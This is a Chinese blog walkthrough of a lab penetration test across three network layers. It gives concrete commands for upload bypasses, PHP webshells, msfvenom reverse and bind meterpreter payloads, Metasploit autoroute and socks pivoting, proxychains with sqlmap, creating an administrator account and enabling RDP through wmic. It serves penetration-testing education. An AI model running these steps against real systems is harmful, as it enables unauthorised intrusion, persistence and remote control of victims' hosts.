三层网络渗透测试实验

VSole2022-03-14 21:51:38

声明:此次渗透环境为实验环境,仅供渗透实验学校参考

前言

在渗透测试过程中我们会遇到很多不同的网络情况,或许普通的内网渗透我们已经很熟练了,但在现实环境中或许会有多层网络结构,如果遇到多层网络结构我们应该如何进行渗透呢?

利用这个实验我们就可以更清晰的了解多层网络渗透测试的过程。并了解通过msf进行内网渗透,由一级代理到二级代理的搭建来进行对三层网络的渗透的过程。

【三层网络拓扑图】

【第一层主机】

目标ip:192.168.31.207

访问目标ip发现是一个文件上传页面

经测试可通过文件类型MIME绕过进行上传php脚本,上传成功后返回路径

访问返回的文件路径,成功连接到php大马

查看ip发现该主机是双网卡,第二层网络段为192.168.1.0/24

为进一步进行内网渗透,我们上传msf后门

后门制作:

1.msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.207 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf

将后门上传到第一层主机192.168.31.207

设置msf监听

在第一层主机上运行shell.elf

Chmod 777 shell.elf
./shell.elf

msf获得meterpreter

将第一层的meterpreter切换到后台运行

1.background

【第二层主机】

利用第一层的meterpreter添加第二层的路由

1.run autoroute -s 192.168.1.0/24

扫描发现第二层主机ip为192.168.1.100

接着利用msf搭建socks代理,好让攻击机直接打第二层网络:

1.use auxiliary/server/socks4a

设置好代理后访问192.168.1.100成功访问到网站

利用弱口令admin/admin登录到后台

在设置处发现可修改允许上传文件的类型,修改后保存设置

在撰写新文章处添加附件可直接上传php脚本

成功连接到php大马

为了打开第三层,我们需要在第二层主机上传msf后门

制作后门:

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=1234 -f elf > ding.elf

利用大马上传,并在第二层主机上运行

chmod 777 ding.elf
./ding.elf

设置msf相关配置

成功获取到第二层主机meterpreter

查看ip发现第三层网段为192.168.2.0/24

利用第二层主机的meterpreter添加第三层的网络路由

启用一个socks4a代理给第三层网络,端口设置为2334

然后在配置文件中加上

1.socks4 192.168.31.119  2334

利用获得的meterpreter发现第三层目标主机为192.16.2.100

【第三层主机】

使用代理打开Firefox访问第三层主机ip192.168.2.100

通过测试发现http://192.168.2.100/category.php?cat_id=1处存在sql注入

利用proxychains跑一下sqlmap

1.proxychains sqlmap -u"http://192.168.2.100/category.php?cat_id=1"

成功注出后台账号和加密的密码

发现管理员密码解不开,

利用nmap扫描网站后台路径。

1.proxychains nmap --script http-enum -p80 192.168.2.100

发现有个上传点

测试发现该上传点是前端检测,利用JavaScript绕过即可上传成功

访问/upload/uploads/webshelldama.php成功连接到php大马

利用大马查看发现是windows2003系统

添加用户账号密码

将添加的用户账号密码添加到管理组

利用大马开启3389端口

1.wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

成功开启3389端口

利用添加的管理员账号密码成功登录到远程桌面

版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!

渗透测试网络渗透
本作品采用《CC 协议》,转载必须注明作者和本文链接
在网络安全领域,全球越来越多的公司正在尝试将人工智能、机器学习等集成到产品之中,智能化、自动化都是网络安全领域的热词。
所以渗透测试是安全评估的方法之一。随着信息技术的发展,网络已成为一个新的战场。美国智库兰德公司称网络战为信息时代的核武器,能够在网络上引发核爆的网络战,从过去的网络威慑已经开始向实战迈进。中国也是遭受网络攻击最多的国家之一,特别是在一些关键时期,例如每年两会期间、G20期间、以及这次新冠病毒疫情期间,我国遭受的网络攻击都要比正常事情多的多。xxx.xxx.22.0/24确认这c段ip有可能就是目标单位的资产ip段。
不存在“超范围”的渗透测试观念Web应用程序已经变得非常复杂,会涉及较广泛的资源和资产整合与利用。开发人员可能认为这些资产“超范围”,因此不需要对它们负责。应用系统开发人员应该更好地与安全测试人员合作,减少渗透测试工作带来的流程影响。跨站脚本攻击不可忽视XSS属于被动式攻击,是一种较盛行的Web应用程序漏洞利用方式。
利用这个实验我们就可以更清晰的了解多层网络渗透测试的过程。并了解通过msf进行内网渗透,由一级代理到二级代理的搭建来进行对三层网络渗透的过程。
旨在确定组织的用户群对鱼叉式网络钓鱼攻击的敏感性。这些评估的结果可以用于增强组织的反社会工程意识计划。在此评估类型中,测试人员会将部署看似普通的USB驱动器,并诱使用户将该设备插入公司系统。在此评估期间,组织通常会向测试人员提供凭据访问权限,以审查整个应用程序。这类测试通常会在安全团队大多数成员完全不知情的情况下执行。红蓝对抗测试有多种形式。有时蓝队被告知模拟或渗透测试的时间,有时则完全不知情。
五大类渗透测试
2022-02-21 21:47:45
渗透测试已经成为安全体系的评估、运营和改进的基础常规工作,是现代组织用来加强网络安全态势和防止数据泄露的有效方法。
SCRIPTKIDDI3是一款功能强大的网络侦查与初始漏洞检测工具,该工具可以帮助我们以自动化的形式完成网络渗透测试初始阶段的网络侦查以及漏洞检测任务。SCRIPTKIDDI3专为漏洞奖励计划设计,使用了各种开源工具和Shell脚本,允许我们以快速高效的形式在目标域上运行扫描并识别潜在的漏洞。SCRIPTKIDDI3首先会在目标系统上执行侦察,收集子域名等信息,并使用Nuclei运行服务。
VSole
网络安全专家